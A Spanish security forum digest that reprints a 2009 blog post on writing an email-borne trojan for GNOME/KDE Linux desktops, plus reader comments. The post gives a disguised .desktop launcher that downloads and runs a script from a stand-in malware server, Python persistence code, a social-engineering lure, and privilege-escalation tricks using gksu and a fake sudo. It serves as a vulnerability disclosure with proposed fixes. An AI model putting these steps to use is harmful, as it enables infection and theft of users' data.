Discussion on 08-seguridad-informtica-y-kriptopolis
Paulo
por : Javier Pastor: 02 Ene 2009, 12:27
Los servicios que ofrecen la creación de redes de área virtual para
proteger nuestra privacidad se están haciendo cada vez más populares.
Ahora una empresa hace uso de esa filosofía para proteger a los
usuarios del protocolo BitTorrent.
La idea del servicio VPN4Life es original, ya que según sus palabras
están “intentando liberar al mundo de la monitorización de los ISP,
las restricciones del gobierno, y la influencia creciente del
capitalismo en Internet”. Esta propuesta permite que con una cuenta
contratada una única vez y con un único pago podamos proteger nuestras
comunicaciones.
Por 50 dólares tendremos acceso al servicio, que permitirá acceder a
un ancho de banda ilimitado (o más bien, limitado por nuestra propia
conexión) y cuyo tráfico además estará cifrado por un algoritmo de 128
bits a través de servidores en distintos países.
vINQulos
TorrentFreak
Paulo
adhesiva
por : Juan Ranchal: 04 Ene 2009, 11:36
Cuentan nuestros primos de Gizmodo, que una inmigrante surcoreana
burló los millonarios sistemas de seguridad de huella digital
instalados en los aeropuertos japoneses usando tecnología punta: cinta
aislante de toda la vida.
La mujer fue deportada en julio de 2007 tras entrar ilegalmente en
Japón. Cuentan las crónicas que ha logrado regresar con un pasaporte
falso y pequeños trozos de cinta adhesiva pegada en sus dedos, para
saltar el control de las máquinas lectoras de huellas digitales
instaladas en Japón.
45 millones de dólares costaron estos sistemas biométricos que fueron
instalados en 30 aeropuertos japoneses. Un sistema mostrado inseguro
como método de autenticación en servicios críticos como este. Los
funcionarios nipones creen que usando la sofisticada técnica de la
cinta aislante, el paso por los aeropuertos japoneses puede haber sido
un coladero
Paulo
http://softlibre.barrapunto.com/article.pl?sid=09/02/19/1238218&from=rss
Virus en Linux a través de archivos .desktop
editada por deal el Jueves, 19 Febrero de 2009, 15:57h Printer-
friendly Email story
desde el dept. malware
Intrusiones
Biduz nos cuenta: «Leo en D'Oh!: Se está hablando mucho en todo
internet de este artículo, cuyo título es "Como escribir un virus para
Linux en cinco pasos", utilizando archivos .desktop para ello. El
problema es que Gnome y KDE interpretan directamente los
archivos .desktop tan solo fijándose en la extensión. Más información:
slashdot y artículo original»
-***************************************-
How to write a Linux virus in 5 easy steps
http://www.geekzone.co.nz/foobar/6229
linux, posted: 11-FEB-2009 05:33
Note: I posted a follow up to summarise points and comments I received
as part of the overwhelming feedback to this article. Please read this
follow-up
before (!) posting a comment, since some of what you might want to
say
may already have been addressed.
For the gist of it...
... just scroll down to the compact step-by-step guide. But if you
like to get some of the background and related explanations then just
read on.
The rumor of the bullet-proof Linux architecture
There is this rumor going around that Linux is virus free. It is said
that the old-fashioned multi-user heritage of Linux (and other *nix
OSs) prevents malware, since users are not normally running their
programs in admin mode (as root user). We are reminded that execute
bits are needed to run anything – contrary to Windows – and that
execute bits aren't set on any attachments or files saved from emails
or from a web-browser.
Therefore, we are told, the very architecture of Linux is so much more
superior to Windows that it's just not possible to successfully spread
malware. Of course – it is acknowledged – a low-level bug, a buffer
overflow or other issue is exploitable. But nevertheless, users can't
just catch a virus by email or downloading malware from the Internet,
contrary to “those Windows users”. Linux will protect them from their
own stupidity.
At least so the story goes. But sadly, that's not true. I will show
how it is possible in a few easy steps to write a perfectly valid
email borne virus for modern desktop Linux. I will do so not because I
want to put down Linux. Quite the opposite: I like and support Linux,
which is all I'm running at home and at work. I'm a big supporter of
free and open software as readers of this blog will know. But if there
are any security risks, even in my favorite OS or distribution then
they will need to be discussed. Even more important: A false sense of
security is worse than a lack of security. And unsubstantiated claims
of superiority don't help in a reasonable discussion either.
Some notes before we get started
Update: There has been a lot of feedback about me using the term
'virus' not correctly here. That I should talk about a 'trojan horse'
instead. There is some disagreement on whether a virus requires user
interaction or not, and whether we would be talking about a worm if we
are talking about malware that can spread without user interaction.
There is also some disagreement on whether a malware that spreads
itself via email can be considered a virus or not. There are many
sources that would call such a thing a virus (an 'email virus') and
others which would be more exacting in their definition. Let this
article not be about that discussion. I'm calling this malware here a
'virus', even though it does require user interaction and even though
I don't provide actual code for how to spread itself (that code is
only provided as very high-level pseudo-code).
I should point out: The vulnerabilities we will be taking advantage of
are 'features' of the most popular modern Linux desktop environments,
Gnome and KDE. The actual core of Linux itself does not have any of
these vulnerabilities. A Linux (or any other *nix) system without
running Gnome or KDE will not exhibit any of these problems, which is
one of the huge advantages of properly separating the core OS from
other applications such as the desktop environment.
On the flip side, if you run those desktop environments on other OSs
(maybe on FreeBSD, for example) then you possibly have to deal with
the same vulnerabilities. A more accurate title for this email
therefore might have been: How to write a Gnome/KDE virus in 5 easy
steps. But since Gnome and KDE are predominantly used under Linux, I
feel that a virus based on those vulnerabilities would impact Linux
users the most. Thus, the chosen title remains valid.
The text of this article here will explain to you which steps need to
be taken to infect a desktop and how to install your malware and will
provide background information on why those steps are necessary and
why they actually work. After the longer explanation there is a more
compact step-by-step summary towards the end. Even though there are
some code snippets, the article will not provide the code for a ready-
made piece of malware.
Several days ago I sent a message to the security teams at Ubuntu and
Fedora, asking if they would like to take a look at this before I
publish. The Ubuntu team hasn't responded yet, but the Fedora team
told me that this is “well-known and expected behavior” and that they
have no problem with me publishing this. Well-known and expected?
Really? But ok then, here we go.
Getting users to open attachments: Check out these nude shots!
If you are now looking forward to some new, fantangled exploit or some
extra clever hackery, I will have to utterly disappoint you. What I'm
showing here is merely an example of how the old-school social
engineering "viruses" (they hardly deserve that name) which have been
bothering the Windows world for such a long time can be made to run on
Linux, or any other *nix OS with a modern desktop environment.
The premise of this type of 'virus' is simple: Get a user to run an
executable attachment you sent them via email. This is completely low-
tech. No black magic here. I'm not taking advantage of a new exploit
in any way. To make it work in Linux I'm just using the 'features' of
modern desktop environments in somewhat unintended ways, I guess.
After all, it's all “well-known and expected”.
Doing this under Windows is straight forward. You create your malware
as an EXE file, attach it to an email which says something like:
"Whoa, check out these nude shots of ....!". The hapless user double-
clicks on the attachment, which Windows – in the absence of some
decent anti-virus software – will obediently execute. Before you know
it the malware is installed and the system is owned. The execution
of .EXE files from within email clients under Windows is of course
also “well-known and expected”.
You think this is not possible under Linux? Of course it is. It just
requires one or two more steps. However, there is nothing fundamental
about the architecture of Linux that prevents user stupidity or
ignorance, which is of course the main ingredient in any attack vector
like this.
There is just one small stumbling block, which needs to be overcome.
Well, two, actually.
Firstly, most email clients for Linux will not execute attachments.
They might try to open them if they know the extension as an
indication for a document or media type (.pdf or other documents for
example). But that's about it. So, let's say you have written your
malware as a nice Python script. In that case, your script may have
the .py ending, but the email client is still unlikely to invoke the
Python interpreter for you. You would have to go out of your way to
configure your system to do that, and who would do something like
this?
No, we need a slightly different approach. Something that always gets
executed when clicked on. And here then is one more step that needs to
be taken by the user, which might reduce the success rate of this
attack vector a little. The user has to first save the attachment and
then double click on it. Because while the email client typically
cannot run an executable file, the desktop environment very well can
as we will see. So, the email will have to read something like:
Whoa, check out these nude shots of...!
(if the attachment doesn't want to open just save it to your
desktop and open it...)
That would sound suspicious to most of us, but 'most' is not 'all' and
user stupidity is everywhere. Besides, many users of web-based email
clients are used to the save-first routine anyway.
Do not underestimate user ignorance – even on Linux
You might argue that most Linux users tend to be a bit more aware of
what they are doing. They usually had to make a conscious choice about
their OS and therefore tend to not be your typical non-technical user.
But that is changing! Some netbooks are shipped with Linux as default.
In that case users may not have consciously chosen Linux and thus can
be just as blissfully ignorant as those Windows users who click on
email attachments. Also, some large organizations are thinking about
mass Linux desktop roll-outs. Various cities and governments around
the world, for example. The users there are not technical either and
are just as likely to click on attachments.
Furthermore, the trouble free times of the past have given Linux users
another false sense of security. We are so used to the constant mantra
of "Linux is so secure, you don't even need anti-virus software!" that
we probably really don't have any anti-virus software to catch us when
we are about to do something dumb.
Ok, back to the technicalities. Most email clients save attachments to
the desktop of the user or in the user's download directory where the
user will then go look for it. So, if the user doesn't endlessly
examine the attachment but simply clicks the 'save' button in the
email client then that usually does the trick: The attachment will be
right there in the face of the user. In fact, I noticed that for some
reason my Evolution email client sometimes has issues opening even
normal documents as attachments directly. For example, someone sends
me an .odt file but Evolution sometimes doesn't start OpenOffice for
me. So, whenever this doesn't work, I just save and open it then. I'm
already trained to do this kind of stuff! I'm probably not the only
one.
Getting attachments to execute
We said earlier that attachments are not normally run when they are
stored as files. There is no standard file extension that indicates
that a file should be executed when clicked, as there is under
Windows. Instead - and this is the second big hurdle we need to
overcome - for the file to be executable under Linux (or any other
*nix OS), the execute flag would have to be set in the permissions of
the file. This is something that Windows doesn't have, and which is
often seen as one of the reasons why infecting a Windows PC can be so
easy, and why it should be close to impossible on *nix systems. When
you save an email attachment under Linux, the execute flag is normally
NOT set and thus, the file can't be executed just by clicking on it.
So, no luck?
Not so fast. Modern desktop environments, such as Gnome and KDE,
conveniently offer a nice "workaround" called 'launchers'. Those are
small files that describe how something should be started. Just a few
lines that specify the name, the icon that should be displayed and the
actual command to execute. Conveniently, the syntax of those launcher
files is the same for Gnome and KDE. And those launchers don't have to
have any execute permissions set on them! Desktop environments treat
those files as a special case, so when you click on them Gnome or KDE
will happily execute the command that was specified within the
launcher description and without the need for the execute bit to be
set on the launcher itself. Now we are getting somewhere!
A problem we are now facing is that the command that can be executed
by a launcher is really just one line and just one command. It's a bit
tough to install malware with just a single command. Or is it? How
about this here:
% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/
s.py; python /tmp/s.py"
What does this single command do? It starts bash, a command shell
(part of any default install), and passes a string argument with two
simple commands to it, which bash will then execute. The first command
(curl) downloads a script from some malware server you have to set up
and then stores the script in a place where we know that we can write
to (the /tmp directory). Note that on some systems (Ubuntu, for
example) you don't have curl, but a similar command called wget. That
complicates the actual command line here a little bit, but it's not an
insurmountable problem, as shown in the step-by-step guide further
down. The second command (the call to the Python interpreter) then
executes that freshly downloaded script (a Python script in this
example). Both Python and curl (or wget) are typically part of the
default install of most Linux distros.
If we put this into the Exec line of the launcher definition then a
simple click on that launcher will lead to the execution of a single
command, which in turn executes two commands, which then lead to the
download and execution of an arbitrary complex script. All without the
execute bit being set anywhere.
You don't need to be root to 0wn someone
None of that so far required root privileges. And our script now can
do whatever it wishes to do within the confines of the user account.
Confined it may be, but that doesn't prevent the possibility of
significant damage to be done.
For example, it can start to pilfer through the user's address book to
harvest email addresses, send them off to our malware server, start
sending spam email or it can spread itself by email. It can install a
Firefox extension that captures passwords as the user types them. It
may start to share the user's desktop via VNC without the user's
knowledge. It can start a background daemon that pops up ads. Linux
adware!
All of this is executed as a normal user process. Truly, on a desktop
system that is normally just used by a single user owning that user
account is pretty much equivalent to owning root, as far as doing
damage is concerned: All the action you are interested in takes place
in the user account anyway.
But maybe you really want to have root for your malware? Well, there's
a way to do that as well, but this is not guaranteed to work in all
cases and is frankly not necessary to successfully infect a machine.
So, to not distract from the important points of this article here, I
have a discussion of that in an appendix.
Autostart after reboot
But surely, even if the user is not able to find the running process
and kill it then just a simple reboot will stop that nonsense right?
Surely, root privileges are needed in order to force our malware to be
automatically launched in case of a system restart, right?
Not so. Users do not need root privileges in order to configure
certain applications for autolaunch when they are logging into their
own user sessions. That is because they are only making changes to
their own session and user account, not the underlying system
settings. Again, any apps started as part of the user session will
only run at the user's privilege level, but as we have seen, this is
not a major problem. Lots of interesting things can be done even then.
So, how do we get ourselves to be auto started when the user logs in?
There are a number of scripts that get executed when you start a
shell, but the user that's likely to click on a suspicious attachment
is not likely to start a shell very often if at all. Fortunately, the
modern desktop environments have their own set of commands which they
are autostarting on login. In the case of Gnome, take a look at what
you find in ~/.config/autostart (this directory may not exist yet, if
you have not configured any apps for autostart). That's right! More
launchers! Those are run every time the user logs into Gnome. For KDE
it's even simpler: Just link to your executable from within the ~/.kde/
Autostart directory.
Our malware then only needs to create an appropriate entry in those
directories and it will start to run whenever the user logs in!
And that's all there is to it. I leave the writing of the actual
malware script as an exercise to the reader.
Compact step-by-step guide
Ok, so here is the summary then, which also fills in a few more
specific details:
1.
Write a piece of malware of your choice. Maybe as a Python
script? Good language, efficient code, pre-installed in most Linux
distros and powerful standard library support (for example, libraries
for sending HTTP requests and handling SMTP are part of most standard
installs). Place that malware on some web-server.
2.
Your malware needs the ability to install a launcher for itself
so that it is started whenever the user logs in. As mentioned, for
Gnome that means creating a launcher description in the ~/.config/
autostart folder. For KDE just link to your executable from within the
~/.kde/Autostart directory. To do that the malware code can either
just force the issue and copy a launcher or link to itself into both
locations (creating any directories along the way if they don't exist)
or it can be a bit smarter and choose the right thing to do based on
the desktop environment that it detects.
For example, to create the shortcut for KDE, all you need to
write in Python is:
import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/
s.py")
For Gnome the Python script instead needs to write a launcher
into the proper directory:
import os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Writing these autostart entries is probably some of the first
action that your malware should perform.
3.
Now create a desktop launcher file for the installer of the
malware, which is different than the launcher we use to restart the
malware after a reboot. The desktop launcher for the installer is what
we send as attachment in the email to the targeted user. It's what the
user clicks on after they saved it. Try something like this:
[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
Note that we have specified a name that is harmless looking and
even chose an icon that makes it look like a normal document (that
particular icon is present on both Ubuntu (Gnome) and Kubuntu (KDE)
systems, but annoyingly not on Fedora). If you claim to send nude
shots in the email, just give it a name that makes it sound like an
image (something with .jpg at the end) and chose one of the
appropriate standard image icons.
The Exec line is a bit longer now, because we have to account
for the possibility that either wget is installed or curl. For
example, Ubuntu
systems usually have wget, while Fedora comes with curl. So, we
pass the appropriate commands to bash in order to check which one is
present and then call the correct command to download the malware. I'm
not a bash expert, so there might be a much more efficient way to do
this. But you get the idea. Also, in that line we are creating a good
location for the script ($DROP), which is not immediately obvious. The
mkdir command with the -p option will silently create whatever parent
directories are necessary. The target directory is in the user's home,
hidden away in some innocent looking local directory and can only be
seen when also displaying hidden files. The /tmp directory of course
is not a good place for our malware, since it is wiped with each
reboot.
Save this launcher file under the name you specified with the
Name line, but add '.desktop' to the end of the actual file name. So,
in our case, you would save the file as 'some_text.odt.desktop'. When
you place this on your desktop you will see that Gnome or KDE will
treat it in a special way, not displaying the '.desktop' extension.
So, the file just appears as 'some_text.odt'. Of course, that also
means that the mail attachment will have this extension as well. Some
users may notice, many others will not.
4.
Attach this file to an email, which prompts the recipient to
save and open the attachment. As explained, once it has been saved it
will just appear as 'some_text.odt' on the user's desktop. And with
the icon we have chosen in the launcher description it will look quite
harmless.
5.
Send this email out to as many email addresses as you can get a
hold of.
Voila! A Linux virus in 5 simple steps. Every user that saves and
opens the attachment you have sent them will get themselves infected
with the malware script of your choice, which is then also restarted
whenever the user logs in again.
That was easy, wasn't it?
Solutions for the problem
The easiest solution to prevent this kind of problem is to not just
blindly click on attachments that people have sent you. Does that
sound like a sentence you have always heard in the context of Windows
before? You bet. The point is: Even on Linux this advice should be
taken serious.
A step that could be taken by the Gnome and KDE developers: Require
launchers to have execute permissions. A saved attachment won't have
those. Therefore, even though a syntactically correct and properly
named launcher was dropped on the desktop a user can't just click on
it and start it if the execute bit is not set.
Thirdly, stop perpetuating the myth that malware and viruses are only
a problem for Windows. Linux is – in principle – vulnerable as well,
of course. Even though users don't operate with root privileges, if
they inadvertently execute a bit of malware then a lot of damage and
autostart installation can still be done. The simple fact that an
executed attachment won't run as root is NOT a useful protection
against much of anything, as we have seen. The fact that attachments
are not saved with the execute bit is NOT a sufficient protection
either, since modern desktop environments allow you to neatly maneuver
around that.
Right now the limited market share of Linux on the desktop offers some
protection. The overall better security architecture offers some more
protection. But none of that is fool-proof. And with larger Linux
deployments in interesting locations – such as government
organizations – those installations also become interesting targets
for malware authors.
Thunar?
Interestingly, the Thunar file manager under xfce (Xubuntu 8.10) is
doing something that Gnome's and KDE's file managers are not doing: It
will flag the desktop launcher file as potential malware and thus
prevent execution via a simple click. This works whether the
attachment was saved from within Thunderbird or from within a web-
based email system, such as Yahoo Mail. Does anyone know what Thunar
specifically does here to come up with the 'malware' conclusion?
However, I confirmed that it works with fresh, stock Ubuntu 8.10,
Kubuntu 8.10 and Fedora 10 installs. Since this is mostly based on the
functionality of Gnome and KDE, I assume that most distributions that
utilize those desktops are vulnerable as well.
Bootnote
Some time ago there was a challenge issued to write a virus that would
be able to infect a desktop Linux system. The original challenge
contained two important caveats, though: Firstly, it should be able to
infect the machine of the person who wrote the challenge. Nothing
further is known about that machine. For example, we don't know which
desktop he was running. Secondly, the virus should be able to write a
file into the /etc directory, to which normally only root has access.
I would content that a Linux virus can be called successful if it is
able to infect standard installs of some of the most popular distros.
I know that the approach I am suggesting will be able to infect a
standard install of Ubuntu, Kubuntu and Fedora, for example.
Secondly, as outlined above, getting root privileges is not necessary
to successfully infect a Linux computer. Well, it's more the account
of the user that is infected, isn't it? However, if we are talking
about desktop computers then for the most part there is only going to
be a single user. The distinction between infecting the system (as
root) or the user account (as the user) is entirely academic at best.
Such an infection is in effect the same as saying 'the machine is
infected'. After all, the user is mostly logged in and the malware
will run whenever that is the case. Anyway, I contacted the author of
this challenge and explained the situation to him. He insists on the
original rules laid out in his challenge, though. Fair enough, it's
his challenge and therefore his rules.
So, what if you really want root then?
Appendix: Getting root
Getting root privileges is always considered to be a bit of the holy-
grail of compromising another machine. As we have seen, not having it
isn't really preventing you from having yourself a good time with a
virus, though. But just for completeness' sake, let me outline a way
for your malware to get root. There might be other ways, but this is
what I could come up with for now.
You see, even normal desktop Linux users will occasionally do stuff as
root. In the case of Ubuntu, for example, you will use 'sudo' (or the
graphical equivalent gksu) from time to time in order to perform
system administration. Maybe to administer users, change the date and
time or to install new software. Many items in the System ->
Administration menu will prompt you for your password for that reason.
By default, the user of a Ubuntu desktop system tends to be in the
'admin' group, which in turn is mentioned in /etc/sudoers. Thus, by
providing your own password you can perform tasks with root
privileges.
So, now how can we take advantage of this? It turns out that the menu
items for your Gnome desktop are individually configured somewhere.
Maybe we can hack that so that instead of synaptic (the graphical
package manager) or any other utility that runs under sudo or gksu)
our nice malware is started instead? After the user has provided their
password for sudo? But as it turns out, the menu items are defined in
a place to which only root has write access. Take a look at /usr/share/
applications. In there you find – again – a large number of launcher
files. These are defining the various menu items. For example, take a
look at synaptic.desktop. You can see there the following line:
Exec=gksu /usr/sbin/synaptic
Yes, so if we could just go ahead and edit that, right? If our malware
could go and change that to:
Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics
That would execute our malware with root privileges. Note that we
quietly passed the original name of the executable (/usr/sbin/
synaptics) to our malware, so that it can start synaptics after it is
done permanently giving itself root privileges or doing whatever it
wants to do as root. That way the user won't become suspicious.
But, alas, we can't edit that file. Out of luck again? Fortunately,
no. Gnome is kind enough to see if we might have a local definition of
one of those desktop files, which should override the system-wide
settings. Those go into ~/.local/share/applications. So, you can
simply copy the synaptic.desktop file from /usr/share/applications to
~/.local/share/applications and perform the changes you want on it.
Then you just have to sit back and wait for the next time the user
starts synaptics and you are in business.
Of course, you don't have to limit yourself to synaptics. To have a
better chance of being executed with root privileges any of the apps
in the Administration menu that require gksu are fair game. And
frankly, you can probably make similar changes and introduce gksu to
many of the menu items in System -> Preferences. As a Ubuntu user you
are used to give your password to gksu from time to time. If the user
doesn't pay attention, they won't even notice that they just were
prompted for their password for a utility that never asked for the
password before.
And for those users that like to use the shell: Well, in that case the
malware can simply mess with your path definition and place a 'tuned'
version of the 'sudo' command in your path, which gets executed
whenever you type 'sudo'.
As you can see this is not guaranteed to give you root (if the user
never uses those programs), but there's a good chance that you will
get it eventually if you are patient.
Update, Feb 12, 2009: It would really have surprised me if I were the
first person to think of this vulnerability. Looking around a little
on the Internet, I couldn't find any references to this, though. Well,
the editor of LWN.net did a better job. As he points out here, there
has been discussion about the vulnerabilities introduced by .desktop
files back in 2006 already.
Note: I posted a follow up to summarise points and comments I received
as part of the overwhelming feedback to this article. Please read this
follow-up
before (!) posting a comment, since some of what you might want to
say
may already have been addressed.
Tag(s): linux linus gnu/linux malware virus email gnome kde
windows vulnerability exploit security python
ShareThis
Permalink to How to write a Linux virus in 5 easy steps | Add a
comment (108 comments) | Main Index
Comment by EvilPixieMan, on 11-FEB-2009 07:05
"Therefore, we are told, ... that it's just not possible to
successfully spread malware."
"But nevertheless, users can't just catch a virus by email or
downloading malware from the Internet, contrary to "those Windows
users". Linux will protect them from their own stupidity."
What rubbish - "We are told" by whom? You conveniently invent an
imaginary rumour, and are then able to debunk it. Bravo for you!
I can see that you are trying to educate users that just by running
Linux they shouldn't think they are immune to malware. Well if you're
trying to educate, its not good practice to base the lesson on
misinformation -
1. I don't know where you got the rumor that Linux is free from
trojans.
2. Be clear about the difference between a trojan and a virus.
Linux is has a better rep on the virus front, but _ANY_ modern user-
oriented OS will run an application that a user requests it to run, so
ALL are to some extent susceptible to trojans to some extent (It is
actually more a function of the email client behaviour, and how "easy"
it makes it to execute code). That is the thrust of your article, you
didn't need to waffle on for so long to prove that point.
Comment by herghost, on 11-FEB-2009 07:26
Excellent, eye-opening article.
Alas, I am (was?) one of the people who fell for the "linux is virus-
free" mantra. And this is the key point, and you make it very well: if
every new user is indoctrinated to believe what is effectively only
technicaly true as soon as they join the community then the potential
for being exploited is massive.
Someone needs to take a long hard look at whether these "convenience
factors" are causing more harm than good.
Author's note by foobar, on 11-FEB-2009 07:38
@herghost: Thank you for the feedback. Yes, the convenience factors
are the problem here. They could easily be circumvented by requiring
execute bits on the launchers. You are right: New users will often
think that under Linux they don't have a virus problem, and that ...
can be a problem.
Author's note by foobar, on 11-FEB-2009 07:51
@EvilPixieMan: It's my blog, so I "waffle on" for as long as I want.
If you don't like it ... you know what you can do.
You don't know where I get the rumour that Linux is malware free?
There are many people claiming that viruses and malware are not much
of an issue on Linux. There are also other people pointing out that it
is of course not 'free' of those things, but clearly the prevailing
opinion is that email borne malware is not much of an issue of Linux.
Read the opening paragraph here: http://en.wikipedia.org/wiki/Linux_malware
Also, read this for the typical take on this: http://linuxmafia.com/~rick/skoll/anti-virus.php
And yet another one: http://linuxmafia.com/~rick/faq/index.php?page=virus#virus
Or point three in this one: http://pcsplace.com/linux/10-reasons-to-switch-over-to-linux-from-windows/
That's just a small sample.
As far as the virus/trojan differentiation is concerned: I am aware of
that. Having been in the security industry for some number of years, I
also know that the press has hopelessly muddled that distinction.
While there used to be a differentiation based on whether the malware
required human interaction or not, whether it was taking advantage of
a vulnerability or user-stupidity, etc. ... all those useful
distinctions have been lost or messed up. Thus, I just stuck with the
nowadays 'generic' name: Virus. Note that I wrote "they hardly deserve
that name".
Comment by freitasm, on 11-FEB-2009 07:53
Hmmm. Like the good old .PIF files then?
Author's note by foobar, on 11-FEB-2009 07:57
@freitasm: Yes, a little bit like a PIF file, I guess.
Comment by freitasm, on 11-FEB-2009 08:00
@EvilPixieMan it is the "sell line" of every Linux defender I know.
When I tell someone to update their Windows systems, the first thing I
hear is "you wouldn't need this with Linux". It's too early in the
morning to go with more examples, but in general everyone I know using
Linux will say it's a safe OS, when we all know there isn't such a
thing as a 100% safe software.
Example of this is when Microsoft issues the monthly updates. I tell
people "I've updated [x] number of machines at home and servers" and
the immediate response is "we don't have to worry about this with
Linux". Then I point to a list of security vulnerabilities from the
vendors and they change subject.
Too bad people want to be blind...
Comment by David F. Skoll, on 11-FEB-2009 08:05
Hello,
I wrote the original challenge. This is an interesting attack, and it
reaffirms my decision not to use either KDE nor GNOME.
Also, is it really true that most GNOME and KDE email clients save to
your Desktop directory? (I don't know; I don't use such clients.)
There are also a few more hoops to run through than for the average
Windows virus, plus the little matter of getting a useful local root
exploit, so I think Linux is still relatively safe. Nevertheless, this
does serve as a cautionary note for "Desktop Environment" developers
and users.
Author's note by foobar, on 11-FEB-2009 08:12
@freitasm: You are right: The security of Linux is always mentioned as
a good reason to switch. And in fact, I still agree with that
argument. I believe that Linux itself is definitely much more secure
(note how these vulnerabilities are in Gnome and KDE, not in Linux
itself). There is noticably less malware out for Linux. There are
several reasons for that:
* Linux as the core OS is more secure.
* There is much more diversity in the potentially more vulnerable
desktop environments.
* Linux has a smaller market share.
The second point is often overlooked: Whatever works on one version of
Linux doesn't work on the other. Linux has a small market share, but
those who run Gnome and KDE have an even smaller percentage of that,
and so on. And servers, which don't run a desktop component, are very
secure indeed.
Security vulnerabilities (buffer overflow, this or that) always will
exist, Windows, Linux, FreeBSD, OS X, it doesn't matter. Often, the
published vulnerability list for Linux includes those of the many
available or bundled apps, while those for Windows only include those
of the core OS, that should also be taken into account. Linux security
is much better than it appears in that respect.
I'm still of the opinion that a switch to Linux will greatly enhance
everyone's security and reduce the amount of concerns that they have
to have about malware. However, as Linux users we cannot be complacent
or rest on our laurels. Linux security is much better than that of
Windows, we just have to make sure it stays that way.
Author's note by foobar, on 11-FEB-2009 08:22
@David F. Skoll: Hello David! Nice of you to stop by. :-)
Whether most clients save to the desktop is something I am actually
not as sure about. I know my do, they always do, but then: I possibly
configured them to do that once and I just carried that config file
with me. However, it doesn't make a difference for the effectiveness
of this: Even if the client saves it spefically into a 'Downloads'
directory (or some such place): If the user maneuvers to that
directorory using the Gnome or KDE file managers, the desktop
environment will treat those launcher files the same way as if they
were stored on the desktop itself. The user sees them without the
'.desktop' extension and clicking it will launch the application as
described in the 'Exec' line.
I know you like your root access, but honestly: I think it is
overrated! Much damage can be done without it. But while not
guaranteed to succeed 100% of the time, what I proposed in the
appendix on how to get root should work many times.
Comment by notavir, on 11-FEB-2009 08:42
this is not a virus, for something to be classified as a virus it need
to be self-replicating to other machines and without user interaction.
What you have created here is a mallicous script, which relys on the
users stupidnes, aka a trojan horse.
Comment by mjcpk, on 11-FEB-2009 08:59
I think in many ways the root idea is a hangover from old school
viruses. Before people had worked out ways to make serious money from
malware a virus was often created for fun and mischief. As a result we
had viruses that messed with boot sectors, formatted hard drives and
generally messed with the OS.
Nowadays, as you point out, there are lots of more useful things you
can do without root. Root is important on servers ( not least so that
you can cover your tracks ) but in a desktop environment you can do
more than enough harm.
Comment by Bryan Short, on 11-FEB-2009 09:02
Interesting article and I agree for the most part. While Linux is
inherently more secure, it is not immune to virus/malware.
One issue that you weakly touch on but fail to really address is the
persistence issue. Sure there can be a self-executing script added to
the $Autostart dirs, but again it is very easy to spot changes here.
Writing virus protection software to monitor any malware adding
entries to $Autostart would not require too much time or effort.
Thereby killing any persistence issues. Granted, no such malware
detection exists currently.
The issue really is, if you in Windows stumble upon a malware
containing site, you are infected without any user interaction and
probably in a way that is very difficult to detect and clean. In Linux
it is not the case due to the executable issue. Your root exploit is
interesting and worrying. It worries me that in the future we will be
met with attacks using Flashplayer or java which could then implement
your kdsu/sudo attack. That will be difficult to detect for a normal/
average user.
Nevertheless, I enjoyed your article.
Author's note by foobar, on 11-FEB-2009 09:11
@notavir: Thank you for your comment. Yes, the old-school definition
of a virus is specific, however, as I pointed out in the reply to
another comment:
As far as the virus/trojan differentiation is concerned: I am aware of
that. Having been in the security industry for some number of years, I
also know that the press has hopelessly muddled that distinction.
While there used to be a differentiation based on whether the malware
required human interaction or not, whether it was taking advantage of
a vulnerability or user-stupidity, etc. ... all those useful
distinctions have been lost or messed up. Thus, I just stuck with the
nowadays 'generic' name: Virus. Note that I wrote "they hardly deserve
that name".
And a commenter on reddit said:
Actual viruses went out with the floppy. They were the first common
form of malware on PCs, so the defensive software was named for them,
but executable infection is such an inefficient transmission vector
that absolutely no one bothers anymore. The word "virus" is now
nothing more than a more familiar, less clumsy synonym for "malware,"
encompassing worms, trojans, spyware, and those irritating-but-unnamed
things that sneak in through browser exploits.
I had mentioned in the article that I am describing how to write the
code that infects and installs autostart. I also mention (without
giving code): ...it can start to pilfer through the user's address
book to harvest email addresses, send them off to our malware server,
start sending spam email or it can spread itself by email.
Comment by freddie, on 11-FEB-2009 10:29
ok...so now I'm back(had to register before being able to ask a
question :) so since its easy to create a virus in ubuntu, how can it
be protected other than running clamtk and not clicking on "nude
chicks" thru an email? I just installed ubuntu 8.10 yesterday and when
trying to compare it to vista, I'll go ubuntu any day! But the command
line is still mostly greek to me.
thanks
freddie
Author's note by foobar, on 11-FEB-2009 11:13
@freddie: As long as you are running Gnome or KDE you will have to be
careful with saving attachments and then clicking on them. If you
click on them inside of the email client you are still safe for now.
Also, take a look at the actual name of the attachment in your email
client BEFORE you save it to disk. If it ends with '.desktop' then you
have to be suspicious.
Frankly, there is currently not much of a threat here, but it's just a
good habit to check the name of the attachment before saving.
Comment by nzsouthernman, on 11-FEB-2009 11:58
Well put & well written dissertation. Keep it up.
Comment by Jonas, on 11-FEB-2009 13:22
"If the user maneuvers to that directorory using the Gnome or KDE file
managers, the desktop environment will treat those launcher files the
same way as if they were stored on the desktop itself. The user sees
them without the '.desktop' extension and clicking it will launch the
application as described in the 'Exec' line."
Not necessarily. I don't have access to a Gnome-based or KDE3.x system
right now so can't verify how it works there, but your approach would
hit a snag on a KDE4 system. A small snag to be sure, but still.
The .desktop ending is only hidden when the file is viewed at the
desktop-level. If I were to have a .desktop file in ~/Desktop, and
entered that directory using the filemanager I would still see the
ending of the file. Moreover, if the "preview" mode is turned on it
would look like a normal text-file instead of whatever the icon-part
tells it to look like.
Still, probably wouldn't stop a user intent on being fooled...
(especially since most non-technical users would know what a .desktop
file is in the first place) and yes, I agree desktop files should be
required to have the execute flag set.
